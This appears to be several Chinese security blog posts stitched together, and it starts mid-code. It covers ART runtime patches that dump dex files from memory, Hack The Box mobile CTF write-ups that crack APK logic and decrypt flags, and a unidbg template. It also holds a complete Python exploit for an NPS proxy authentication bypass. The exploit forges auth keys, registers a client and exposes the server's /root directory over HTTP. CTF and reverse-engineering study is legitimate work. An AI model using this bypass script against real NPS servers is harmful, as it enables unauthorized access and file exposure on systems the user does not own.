2000);sprintf(dexfilepath, "/sdcard/fiart/%s",szProcName); //创建保存的文件mkdir(dexfilepath, 0777);memset(dexfilepath, 0, 2000);sprintf(dexfilepath,"/sdcard/fiart/%s/%d_dexfile.dex",szProcName, size_int_);int dexfilefp = open(dexfilepath, O_RDONLY, 0666);if (dexfilefp > 0) { close(dexfilefp); dexfilefp = 0;} else { dexfilefp = open(dexfilepath, O_CREAT | O_RDWR,0666); if (dexfilefp > 0) { write(dexfilefp, (void *) begin_,size_); fsync(dexfilefp); close(dexfilefp);}}// ================================ if (dex_file == nullptr) { return nullptr; }GetNameAsString
按照如下新增代码,需要新增库。
mirror::String* ArtMethod::GetNameAsString(Thread* self) { CHECK(!IsProxyMethod()); StackHandleScope<1> hs(self); Handle<mirror::DexCache> dex_cache(hs.NewHandle(GetDexCache())); auto* dex_file = dex_cache->GetDexFile(); // ================================ char *dexfilepath=(char*)malloc(sizeof(char)*1000); const uint8_t* begin_=dex_file->Begin(); // Start of data. size_t size_=dex_file->Size(); // Length of data. int size_int_=(int)size_; int fcmdline =-1; char szCmdline[64]= {0}; char szProcName[256] = {0}; int procid = getpid(); sprintf(szCmdline,"/proc/%d/cmdline", procid); fcmdline = open(szCmdline, O_RDONLY,0644); if(fcmdline >0) { read(fcmdline, szProcName,256); close(fcmdline); } if(szProcName[0]) { memset(dexfilepath,0,1000); sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_); int dexfilefp=open(dexfilepath,O_RDONLY,0666); if(dexfilefp>0){ close(dexfilefp); dexfilefp=0; }else{ int fp=open(dexfilepath,O_CREAT|O_APPEND|O_RDWR,0666); if(fp>0) { write(fp,(void*)begin_,size_); fsync(fp); close(fp); } } } if(dexfilepath!=nullptr) { free(dexfilepath); dexfilepath=nullptr; } //================================== uint32_t dex_method_idx = GetDexMethodIndex(); const DexFile::MethodId& method_id = dex_file->GetMethodId(dex_method_idx); return Runtime::Current()->GetClassLinker()->ResolveString(*dex_file, method_id.name_idx_,dex_cache);}EqualParameters
也是类似如上,利用dex缓存来导出的dexfile。
bool ArtMethod::EqualParameters(Handle<mirror::ObjectArray<mirror::Class>> params) { auto* dex_cache = GetDexCache(); auto* dex_file = dex_cache->GetDexFile(); //============ char *dexfilepath=(char*)malloc(sizeof(char)*1000); const uint8_t* begin_=dex_file->Begin(); // Start of data. size_t size_=dex_file->Size(); // Length of data. int size_int_=(int)size_; int fcmdline =-1; char szCmdline[64]= {0}; char szProcName[256] = {0}; int procid = getpid(); sprintf(szCmdline,"/proc/%d/cmdline", procid); fcmdline = open(szCmdline, O_RDONLY,0644); if(fcmdline >0) { read(fcmdline, szProcName,256); close(fcmdline); } if(szProcName[0]) { memset(dexfilepath,0,1000); sprintf(dexfilepath,"/sdcard/%s_%d_dexfile.dex",szProcName,size_int_); int dexfilefp=open(dexfilepath,O_RDONLY,0666); if(dexfilefp>0){ close(dexfilefp); dexfilefp=0; }else{ int fp=open(dexfilepath,O_CREAT|O_APPEND|O_RDWR,0666); if(fp>0){ write(fp,(void*)begin_,size_); fsync(fp); close(fp); } } } if(dexfilepath!=nullptr) { free(dexfilepath); dexfilepath=nullptr; } //====================== const auto& method_id = dex_file->GetMethodId(GetDexMethodIndex()); const auto& proto_id = dex_file->GetMethodPrototype(method_id); const DexFile::TypeList* proto_params = dex_file->GetProtoParameters(proto_id); auto count = proto_params != nullptr ? proto_params->Size() : 0u; auto param_len = params.Get() != nullptr ? params->GetLength() : 0u;]]>https://app.hackthebox.com/5a438e22-07d2-4f61-9ab5-040db08fae2e
安装APP界面是一个输入用户名和密码,用GDA打开apk,发现这个是固定用户名为admin来验证passwd的一个过程,验证成功则返回flag。
public void onClick(View p0){ Toast toast; try{ if (this.b.c.getText().toString().equals("admin")) { MainActivity b = this.b; String str = b.d.getText().toString(); try{ MessageDigest instance = MessageDigest.getInstance("MD5"); instance.update(str.getBytes()); byte[] uobyteArray = instance.digest(); StringBuffer str1 = new StringBuffer(); for (int i = 0; i < uobyteArray.length; i = i + 1) { str1.append(Integer.toHexString((uobyteArray[i] & 0x00ff))); } str = str1.toString(); }catch(java.security.NoSuchAlgorithmException e5){ str.printStackTrace(); str = ""; } if (str.equals("a2a3d412e92d896134d9c9126d756f")) { MainActivity b1 = this.b; toast = Toast.makeText(this.b.getApplicationContext(), b.a(g.a()), 1); label_0077 : toast.show(); } } toast = Toast.makeText(this.b.getApplicationContext(), "Wrong Credentials!", 0); goto label_0077 ; }catch(java.lang.Exception e5){ p0.printStackTrace(); } return; }可以看到把密码进行md5加密后还会对字节再进行一次&运算。因此这里不去对hash进行碰撞解密。有几种解密的办法。
修改smail代码,把判断的if函数进行修改,原代码为
const-string p1, "" :goto_1 const-string v1, "a2a3d412e92d896134d9c9126d756f" .line 2 invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result p1 if-eqz p1, :cond_1p1为0的话进程跳转,但是这个cond_1是报错,所以我们需要它不跳转。修改为if-nez。然后用AKill进行编译和安装,记得删除原包,然后输入admin/aaaaa,点击会显示flag。
同样也可以修改新增一个赋值。
:cond_0 invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String; move-result-object p1 const-string p1, "a2a3d412e92d896134d9c9126d756f" //新增 :try_end_1 .catch Ljava/security/NoSuchAlgorithmException; {:try_start_1 .. :try_end_1} :catch_0 .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1这时候不需要属于密码,点击login即可显示flag。
上面的办法近乎于偷懒解决,现在我们开始解决一下这个代码的计算过程。先找到g.a()这个方法。
public static String a(){ ArrayList uArrayList = new ArrayList(); uArrayList.add("722gFc"); uArrayList.add("n778Hk"); uArrayList.add("jvC5bH"); uArrayList.add("lSu6G6"); uArrayList.add("HG36Hj"); uArrayList.add("97y43E"); uArrayList.add("kjHf5d"); uArrayList.add("85tR5d"); uArrayList.add("1UlBm2"); uArrayList.add("kI94fD"); uArrayList = new ArrayList(); uArrayList.add("ue7888"); uArrayList.add("6HxWkw"); uArrayList.add("gGhy77"); uArrayList.add("837gtG"); uArrayList.add("HyTg67"); uArrayList.add("GHR673"); uArrayList.add("ftr56r"); uArrayList.add("kikoi9"); uArrayList.add("kdoO0o"); uArrayList.add("2DabnR"); uArrayList = new ArrayList(); uArrayList.add("jH67k8"); uArrayList.add("8Huk89"); uArrayList.add("fr5GtE"); uArrayList.add("Hg5f6Y"); uArrayList.add("o0J8G5"); uArrayList.add("Wod2bk"); uArrayList.add("Yuu7Y5"); uArrayList.add("kI9ko0"); uArrayList.add("dS4Er5"); uArrayList.add("h93Fr5"); return new StringBuilder()+uArrayList.get(8)+h.a()+i.a()+f.a()+e.a()+uArrayList.get(9)+c.a()+uArrayList.get(5)+d.a()+a.a(); }从结果上看,就是uArrayList.get(8)=1UlBm2,h.a()=kHtZuV,然后依次类推,得到返回的是1UlBm2kHtZuVrSE6qY6HxWkwHyeaX92DabnRFlEGyLWod2bkwAxcoc85S94kFpV1。
最后再去查看b.a()
public static String a(String p0){ Cipher instance = Cipher.getInstance(g.b()); instance.init(2, new SecretKeySpec(new StringBuilder()+String.valueOf(h.a().charAt(0))+String.valueOf(a.a().charAt(8))+String.valueOf(e.a().charAt(5))+String.valueOf(i.a().charAt(4))+String.valueOf(h.a().charAt(1)).toLowerCase()+String.valueOf(h.a().charAt(4))+String.valueOf(h.a().charAt(3)).toLowerCase()+String.valueOf(h.a().charAt(3))+String.valueOf(h.a().charAt(0))+String.valueOf(a.a().charAt(8)).toLowerCase()+String.valueOf(a.a().charAt(8)).toLowerCase()+String.valueOf(i.a().charAt(0))+String.valueOf(c.a().charAt(3)).toLowerCase()+String.valueOf(f.a().charAt(3))+String.valueOf(f.a().charAt(0))+String.valueOf(c.a().charAt(0)).getBytes(), g.b())); return new String(instance.doFinal(Base64.decode(p0, 0)), "utf-8"); } //这里有个问题最后的getbytes写的是最后一个字节的,实际上是全部的,这是gda的伪代码bug。这是一段加密的东东,这个g.b()指的是加密算法。
public static String b(){ return new StringBuilder()+String.valueOf(d.a().charAt(1))+String.valueOf(i.a().charAt(2))+String.valueOf(i.a().charAt(1)); //AES }先把上面的那一段字符找出来,结果是kV9qhuzZkvvrgW6F,至此密钥也有了,拿去解密一下。
于是在ECB模式下,pkcs7,128位解密出来的为:HTB{m0r3_0bfusc4t1on_w0uld_n0t_hurt}

这个办法已经有点过分了,打开JEB,没错它会自动给你计算出来

呜呜呜,一开始不知道,还在那一个字节一个字节的算半天,结果这边直接给你搞出来了。
这个APP完美的诠释了复杂,一个简单的功能搞得贼复杂,这个是x86架构,一般app都是arm或者至少支持arm和x86,这个玩意只有这个架构,只能在模拟器中运行。
反编译后可以看到里面的包,Main在crc644cebad5a72cca3b1.MainActivity下。

从代码上看大量调用了native方法,也就是引用了so文件,没错一开始我就是这么想的,但是搜了半天没搜到调用的so代码。
觉得这个包mono和Xamarin有点问题,看起来就像是调用的框架一样,搜一下Xamarin发现还真是开源平台。
https://docs.microsoft.com/zh-cn/xamarin/get-started/what-is-xamarin
Xamarin 是一个开放源代码平台,用于通过 .NET 构建适用于 iOS、Android 和 Windows 的新式高性能应用程序。 Xamarin 是一个抽象层,可管理共享代码与基础平台代码的通信。 Xamarin 在提供便利(如内存分配和垃圾回收)的托管环境中运行。Xamarin 使开发人员可以跨平台共享其应用程序(平均 90%)。 此模式允许开发人员以一种语言编写所有业务逻辑(或重复使用现有应用程序代码),但在每个平台上实现本机性能和外观。Xamarin 应用程序可以在电脑或 Mac 上进行编写并编译为本机应用程序包,如 Android 上的 .apk 文件,或 iOS 上的 .ipa 文件。所以这个东西是用C#当作中间语言进行编写的,适用本机的应用程序,而且mono是执行环境。所以这大概就是为啥给的一个x86的。
里面的so看起来都是框架的so,也没有自己编写的加解密so。进入手机端查看是不是还生成了啥。
Xamarin的文件目录在/data/user/0/com.companyname.seethesharpflag/下,可惜啥都没有,难道真要去分析这些代码不成。
终于在想起来解压一下看看资源文件的时候发现assemblies目录,里面有一对dll文件,同时还存在一个SeeTheSharpFlag的这种dll,好家伙在这等着你呢。
使用010editor打开查看一下,发现文件头是58414C5A,不是标准的PE头4D5A。

然后搜索XALZ dll,发现了这么一个项目:https://github.com/NickstaDB/xamarin-decompress
所以这个dll是被xamarin项目进行压缩过,只需要解压缩就可以正常反编译了。
关于这个Xamarin项目和dll的介绍:https://cihansol.com/blog/index.php/2021/08/09/unpacking-xamarin-android-mobile-applications/
在这里多说一句,项目的打包方式分为两种:非捆绑构建和捆绑构建,最直观的区别在其中的dll文件是否直接显示在文件内,捆绑构建会把dll打包为一个so文件,需要进一步解包才能拿到dll文件。如果遇到捆绑式打包则可以使用上文中的工具进行解包:https://github.com/cihansol/XamAsmUnZ
使用dnspy打开解压缩后的dll,在SeeTheSharpFlag.decompressed.dll中可以找到关键处。

点击右键编辑IL指令,修改33行的brfalse.s为brtrue.s。保存替换原dll。但这种只是破解,在这种需要输出的情况下不能达到目的,只是让显示成功而已。

所以我们需要输出的是streamReader.ReadToEnd()。将指令中其他无关的指令nop掉

结果为如下,这样我们只需要输入任意值,均可显示这个flag参数。

看起来很不错,但是问题在覆写了dll后,APK打包签名后不能执行,因为这里有几点需要注意一下:

换一种思路,尝试把这个方法自己运行一遍,找个在线运行C#的网站:https://www.bejson.com/runcode/csharp/。运行以下代码:
using System;using System.CodeDom.Compiler;using System.IO;using System.Reflection;using System.Security.Cryptography;class Program{ public static void Main(string[] args) { byte[] array = Convert.FromBase64String("sjAbajc4sWMUn6CHJBSfQ39p2fNg2trMVQ/MmTB5mno="); byte[] array2 = Convert.FromBase64String("6F+WgzEp5QXodJV+iTli4Q=="); byte[] array3 = Convert.FromBase64String("DZ6YdaWJlZav26VmEEQ31A=="); using (AesManaged aesManaged = new AesManaged()) { using (ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(array2, array3)) { using (MemoryStream memoryStream = new MemoryStream(array)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0)) { using (StreamReader streamReader = new StreamReader(cryptoStream)) { Console.WriteLine(streamReader.ReadToEnd()); } } } } } }}可以得到结果:
HTB{MyPasswordIsVerySecure}下载后,这个APP大概两M不到,安装需要SDK29以上,手头没有这么高的安卓版本,尝试降级也不行,后来查了一下论坛发现有人提示需要发送一个“send”特定的东西,重新看了一下代码,发现onCreate里有验证,不存在会直接被finish进程。

解决办法也很简单,我直接把这一段的smail代码干掉了。结果就是这样,下面是重新编译重新打开的。

顺便把alert方法内的也做掉了,虽然看起来不太影响

虽然能打开,但是显示click me,但是点击还是会结束,看了半天发现是显示窗口上应该是有覆盖,修改new LayoutParams(200, 200, 2, 8, -2)中的-2为-4,这样点击虽然能显示这个白色窗口,但还没显示后续的alert方法内的窗口。也就是这个窗口没有显示在最上层,依然被覆盖。这个没解决,但从代码上看只需要查看so应该就可以了。
调用的a方法参数,第一个是FILE_PATH_PREFIX,应该是APP的数据存储位置,第二个是answer,不知道是啥,但是应该是需要输入的东西。

查看so内的a方法,里面有一个关键方法是_Z1aP7_JNIEnvP8_1,从传参得知,参数a2并不是很关键,他的作用更是一种判断,这里不去管做啥的。

现在需要找到jni_def,这个数组和0x64进行了异或,然后写入文件,这里的路径就是有权限写的应该就是数据存储目录/data/user/0/com.stego.saw/,jni_def是如下的一堆十六进制数据。

构造一个c代码,先输出v11,看看到底异或成啥了。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main() {
int jni_def[] = {0, 1, 0x1C, 0x6E, 0x54, 0x57, 0x51, 0x64, 0xAB, 7,
0x98, 0x60, 0xA2, 0xE6, 0xB3, 1, 0xEB, 0xC1, 0x19,
0xB4, 0x39, 0xE, 0x74, 0xA1, 0x79, 0xE3, 0xE9, 0x50,
0x9B, 0xE2, 0x5D, 0x9E, 0x7C, 0x67, 0x64, 0x64, 0x14,
0x64, 0x64, 0x64, 0x1C, 0x32, 0x50, 0x76, 0x64, 0x64,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x1C, 0x66, 0x64,
0x64, 0x6B, 0x64, 0x64, 0x64, 0x14, 0x64, 0x64, 0x64,
0x63, 0x64, 0x64, 0x64, 0xC8, 0x64, 0x64, 0x64, 0x67,
0x64, 0x64, 0x64, 0xAC, 0x64, 0x64, 0x64, 0x65, 0x64,
0x64, 0x64, 0x88, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64,
0x64, 0x90, 0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64,
0x78, 0x65, 0x64, 0x64, 0xB8, 0x65, 0x64, 0x64, 0x58,
0x65, 0x64, 0x64, 0xFE, 0x65, 0x64, 0x64, 0xC6, 0x65,
0x64, 0x64, 0xD0, 0x65, 0x64, 0x64, 0xAF, 0x65, 0x64,
0x64, 0xBB, 0x65, 0x64, 0x64, 0x97, 0x65, 0x64, 0x64,
0x63, 0x66, 0x64, 0x64, 0x68, 0x66, 0x64, 0x64, 0x6B,
0x66, 0x64, 0x64, 0x77, 0x66, 0x64, 0x64, 0x4C, 0x66,
0x64, 0x64, 0x50, 0x66, 0x64, 0x64, 0x5A, 0x66, 0x64,
0x64, 0x20, 0x66, 0x64, 0x64, 0x2D, 0x66, 0x64, 0x64,
0x66, 0x64, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64, 0x60,
0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0x62, 0x64,
0x64, 0x64, 0x63, 0x64, 0x64, 0x64, 0x6D, 0x64, 0x64,
0x64, 0x63, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64,
0x64, 0x64, 0x64, 0x64, 0x6C, 0x64, 0x64, 0x64, 0x61,
0x64, 0x64, 0x64, 0xE8, 0x65, 0x64, 0x64, 0x6C, 0x64,
0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0xF0, 0x65, 0x64,
0x64, 0x67, 0x64, 0x64, 0x64, 0x69, 0x64, 0x64, 0x64,
0x64, 0x64, 0x65, 0x64, 0x6A, 0x64, 0x64, 0x64, 0x65,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x60, 0x64,
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x60, 0x64, 0x64,
0x64, 0x6F, 0x64, 0x64, 0x64, 0x60, 0x64, 0x66, 0x64,
0x68, 0x64, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x6E, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0, 0x66, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x65, 0x64, 0x65, 0x64, 0x65, 0x64, 0x64, 0x64, 0x36,
0x66, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64, 0x14, 0x74,
0x65, 0x64, 0x64, 0x64, 0x6A, 0x64, 0x66, 0x64, 0x64,
0x64, 0x66, 0x64, 0x64, 0x64, 0x33, 0x66, 0x64, 0x64,
0x6C, 0x64, 0x64, 0x64, 6, 0x64, 0x64, 0x64, 0x7E,
0x65, 0x65, 0x64, 0xA, 0x44, 0x64, 0x64, 0x74, 0x64,
0x6A, 0x64, 0x65, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64,
0x64, 0x39, 0x66, 0x64, 0x64, 0x60, 0x64, 0x64, 0x64,
0x15, 0x64, 0x67, 0x64, 0x64, 0x64, 0x6A, 0x64, 0x65,
0x64, 0x64, 0x64, 0x66, 0x64, 0x64, 0x64, 0x65, 0x64,
0x64, 0x64, 0x62, 0x64, 0x62, 0x58, 0xD, 0xA, 0xD,
0x10, 0x5A, 0x64, 0x74, 0x2C, 0x30, 0x26, 0x1F, 0x37,
5, 0x13, 0x37, 0x54, 0x20, 0x27, 0x28, 0xD, 0xA, 3,
0x19, 0x64, 0x71, 0x28, 0xE, 5, 0x12, 5, 0x4B, 0xD,
0xB, 0x4B, 0x34, 0x16, 0xD, 0xA, 0x10, 0x37, 0x10,
0x16, 1, 5, 9, 0x5F, 0x64, 0x76, 0x28, 0xE, 5, 0x12,
5, 0x4B, 8, 5, 0xA, 3, 0x4B, 0x2B, 6, 0xE, 1, 7, 0x10,
0x5F, 0x64, 0x76, 0x28, 0xE, 5, 0x12, 5, 0x4B, 8, 5,
0xA, 3, 0x4B, 0x37, 0x10, 0x16, 0xD, 0xA, 3, 0x5F,
0x64, 0x76, 0x28, 0xE, 5, 0x12, 5, 0x4B, 8, 5, 0xA,
3, 0x4B, 0x37, 0x1D, 0x17, 0x10, 1, 9, 0x5F, 0x64,
0x67, 0x28, 0x1C, 0x5F, 0x64, 0x65, 0x32, 0x64, 0x66,
0x32, 0x28, 0x64, 0x77, 0x3F, 0x28, 0xE, 5, 0x12, 5,
0x4B, 8, 5, 0xA, 3, 0x4B, 0x37, 0x10, 0x16, 0xD, 0xA,
3, 0x5F, 0x64, 0x6E, 5, 6, 7, 0, 1, 0x4A, 0xE, 5, 0x12,
5, 0x64, 0x6C, 8, 0xB, 3, 0x14, 0x16, 0xD, 0xA, 0x10,
0x64, 0x60, 9, 5, 0xD, 0xA, 0x64, 0x67, 0xB, 0x11,
0x10, 0x64, 0x63, 0x14, 0x16, 0xD, 0xA, 0x10, 8, 0xA,
0x64, 0x65, 0x64, 0x63, 0x6A, 0x64, 0x60, 0x64, 0x63,
0x6A, 0x1C, 0x64, 0x63, 0x65, 0x64, 0x63, 0x6A, 0x58,
0x64, 0x64, 0x64, 0x67, 0x64, 0x66, 0xE4, 0xE4, 0x60,
0xD8, 0x66, 0x65, 0x6D, 0xB0, 0x66, 0x65, 0x6D, 0x90,
0x66, 0x64, 0x64, 0x69, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
0x64, 0x65, 0x64, 0x64, 0x64, 0x6B, 0x64, 0x64, 0x64,
0x14, 0x64, 0x64, 0x64, 0x66, 0x64, 0x64, 0x64, 0x63,
0x64, 0x64, 0x64, 0xC8, 0x64, 0x64, 0x64, 0x67, 0x64,
0x64, 0x64, 0x67, 0x64, 0x64, 0x64, 0xAC, 0x64, 0x64,
0x64, 0x60, 0x64, 0x64, 0x64, 0x65, 0x64, 0x64, 0x64,
0x88, 0x64, 0x64, 0x64, 0x61, 0x64, 0x64, 0x64, 0x61,
0x64, 0x64, 0x64, 0x90, 0x64, 0x64, 0x64, 0x62, 0x64,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x78, 0x65, 0x64,
0x64, 0x65, 0x44, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64,
0x58, 0x65, 0x64, 0x64, 0x65, 0x74, 0x64, 0x64, 0x66,
0x64, 0x64, 0x64, 0xE8, 0x65, 0x64, 0x64, 0x66, 0x44,
0x64, 0x64, 0x6B, 0x64, 0x64, 0x64, 0xFE, 0x65, 0x64,
0x64, 0x67, 0x44, 0x64, 0x64, 0x67, 0x64, 0x64, 0x64,
0x36, 0x66, 0x64, 0x64, 0x64, 0x44, 0x64, 0x64, 0x65,
0x64, 0x64, 0x64, 0, 0x66, 0x64, 0x64, 0x64, 0x74,
0x64, 0x64, 0x65, 0x64, 0x64, 0x64, 0x1C, 0x66, 0x64,
0x64
};
char v11[800];
char *a1 = "/data/user/0/com.stego.saw/";
int v5;
char *v6; // r5
char *v7; // r0
FILE *v8; // r0
FILE *v9;
for ( int i = 0; i != 792; ++i )
v11[i] = jni_def[i] ^ 0x64;
printf(v11);
v5 = strlen(a1);
v6 = calloc(v5 + 2, 1u);
v7 = strcpy(v6, a1);
* &v6[strlen(v7)] = 104;
v8 = fopen(v6, "wb");
if ( !v8 )
return 0;
v9 = v8;
for ( int j = 0; j != 792; ++j )
fputc(v11[j], v9);
fclose(v9);
return 1;
}

应该是生成一个dex文件,但是由于我是本机去运行,不能按照上面的a1进行写文件,需要重新赋值修改a1的值。
char *a1 = "file";
运行后在当前文件目录生成一个fileh文件,打开即可看到里面的flag。
根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。
POST /auth/gettime HTTP/1.1Host: 192.168.70.250:18080Content-Length: 7Connection: closeCookie:beegosessionID=xxxxxsearch=返回一个json字段,里面包含服务器的时间戳。
POST /auth/getauthkey HTTP/1.1Host: 192.168.70.250:18080Content-Length: 7Connection: closeCookie:beegosessionID=xxxxxsearch=返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以
AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。
如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值
"Id": 2, "VerifyKey": "6sabs7dyn4rf1oob", "Addr": "192.168.70.250", "Remark": "", "Status": true, "IsConnect": true,构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。
[common]server_addr=1.1.1.1:8024vkey=123[file]mode=fileserver_port=9100local_path=/root/strip_pre=/web/这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。
xxx:9100/web编写一个脚本来统一这个过程。
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time : 2022/8/16 14:13# @Author : misakikata# @File : nps_bypass.py# @Description : autoremoveimport argparseimport requestsimport json,sysimport hashlibfrom Crypto.Cipher import AES# from urllib.parse import urlparsefrom binascii import a2b_hexrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)headers = { "Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Content-Type":"application/x-www-form-urlencoded", "Accept":"application/json, text/javascript, */*; q=0.01"}file_w = """[common]server_addr={host}:8024vkey={vkey}[file]mode=fileserver_port=9100local_path=/root/strip_pre=/web/"""def get_time(host): url = host + "/auth/gettime" r = requests.post(url, headers=headers, data={"search":""}) time = json.loads(r.text)['time'] return timedef gen_authkey(authkey, timestamp): mdf = hashlib.md5() mdf.update((authkey+str(timestamp)).encode('utf-8')) auth_key = mdf.hexdigest() return auth_keydef get_key(host): url = host + "/auth/getauthkey" r = requests.post(url, headers=headers, data={"search": ""}) key = json.loads(r.text)['crypt_auth_key'] if key == "5acabcf051cd55abca03d18294422e01": authkey = "" else: if deco_key("1234567812345678", key): authkey = deco_key("1234567812345678", key) else: return False return authkeydef add_to_16(value): while len(value.encode('utf-8')) % 16 != 0: value += '\x00' return value.encode('utf-8')def deco_key(key0,data): try: aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode()) decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip() return decryptedstr except: return Falsedef gen_conf(host, vkey): host = host.split(':')[0:2] file = file_w.format(host=''.join(host), vkey=vkey) with open("config.ini", 'w') as f: f.write(file) return Truedef get_vkey(host, data): url = host + "/client/list" r = requests.post(url, headers=headers, data=data) if r.status_code == 200: try: vkey = json.loads(r.text)['rows'][0]['VerifyKey'] return vkey except: if gen_client(host, data): print("无客户端,创建客户端成功") r = requests.post(url, headers=headers, data=data) vkey = json.loads(r.text)['rows'][0]['VerifyKey'] return vkey else: return False else: return Falsedef gen_client(host, data): url = host + "/client/add" data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data r = requests.post(url, headers=headers, data=data) if r.status_code == 200: if json.loads(r.text)['status'] == 1: return True return Falsedef main(host): times = get_time(host) if get_key(host): getkey = get_key(host) else: print(host+" 解密失败!") sys.exit(0) auth_key = gen_authkey(getkey, times) data = "auth_key={auth_key}×tamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times) r = requests.post(host, headers=headers, data=data) if r.status_code == 200: print(host+" is vuln!") if get_vkey(host, data): vkey = get_vkey(host, data) if gen_conf(host, vkey): print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2]))) else: print("未创建客户端或者获取失败!") else: print(host+" not is vuln!")if __name__ == '__main__': parser = argparse.ArgumentParser( description="NPS Bypass") parser.add_argument('-u', '--url', type=str, help="单个url检测,默认密钥进行解密") args = parser.parse_args() if len(sys.argv) == 3: if sys.argv[1] in ['-u', '--url']: main(args.url) else: parser.print_help()]]>地址:https://github.com/zhkl0228/unidbg
unidbg需要在IDEA端进行调试一下,等待依赖自动安装后,运行unidbg-android/src/test/java/com/bytedance/frameworks/core/encrypt/TTEncrypt.java文件。如果显示如下则代表运行正常。

使用一个基础的模板,后续可以根据此模板来进行修改
public SignUtil() { emulator = AndroidEmulatorBuilder.for32Bit() .setProcessName("com.anjuke.android.app") .build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); vm = emulator.createDalvikVM(); vm.setDvmClassFactory(new ProxyClassFactory()); vm.setVerbose(false); DalvikModule dm = vm.loadLibrary(new File("unidbg-android/src/test/resources/example_binaries/armeabi-v7a/libsignutil.so"), false); cSignUtil = vm.resolveClass("com/anjuke/mobile/sign/SignUtil"); dm.callJNI_OnLoad(emulator); }其中需要注意的是:
先用一个吾爱老哥的文件进行一下测试使用
地址:https://www.52pojie.cn/thread-1322512-1-1.html
编写一个TestJni.java,需要注意的是,这里做了一点修改,由于AndroidARMEmulator为受保护的方法,并不能直接调用,可能是unidbg做了变化,修改为AndroidEmulatorBuilder,代码为:
package com.misaki;import com.github.unidbg.AndroidEmulator;import com.github.unidbg.Module;import com.github.unidbg.arm.ARMEmulator;import com.github.unidbg.arm.backend.DynarmicFactory;import com.github.unidbg.linux.android.AndroidARMEmulator;import com.github.unidbg.linux.android.AndroidEmulatorBuilder;import com.github.unidbg.linux.android.AndroidResolver;import com.github.unidbg.linux.android.dvm.*;import com.github.unidbg.linux.android.dvm.jni.ProxyClassFactory;import com.github.unidbg.linux.android.dvm.jni.ProxyDvmObject;import com.github.unidbg.memory.Memory;import java.io.File;import java.io.IOException;public class TestJni extends AbstractJni { // ARM模拟器 private final AndroidEmulator emulator; // vm private final VM vm; // 载入的模块 private final Module module; private final DvmClass TTEncryptUtils; /** * * @param soFilePath 需要执行的so文件路径 * @param classPath 需要执行的函数所在的Java类路径 * @throws IOException */ public TestJni(String soFilePath, String classPath) throws IOException { // 创建app进程,包名可任意写 emulator = AndroidEmulatorBuilder .for32Bit() .addBackendFactory(new DynarmicFactory(true)) .setProcessName("com.rs") .build(); Memory memory = emulator.getMemory(); // 作者支持19和23两个sdk memory.setLibraryResolver(new AndroidResolver(23)); // 创建DalvikVM,利用apk本身,可以为null vm = emulator.createDalvikVM((File) null); vm.setDvmClassFactory(new ProxyClassFactory()); vm.setVerbose(true);// vm.setJni(this); // (关键处1)加载so,填写so的文件路径 DalvikModule dm = vm.loadLibrary(new File(soFilePath), false); // 调用jni, 加入此代码有可能会报错 Illegal JNI version,环境原因// dm.callJNI_OnLoad(emulator); module = dm.getModule(); // (关键处2)加载so文件中的哪个类,填写完整的类路径 TTEncryptUtils = vm.resolveClass(classPath); } /** * 调用so文件中的指定函数 * @param methodSign 传入你要执行的函数信息,需要完整的smali语法格式的函数签名 * @param args 是即将调用的函数需要的参数 * @return 函数调用结果 */ private String myJni(String methodSign, Object ...args) { // 使用jni调用传入的函数签名对应的方法() 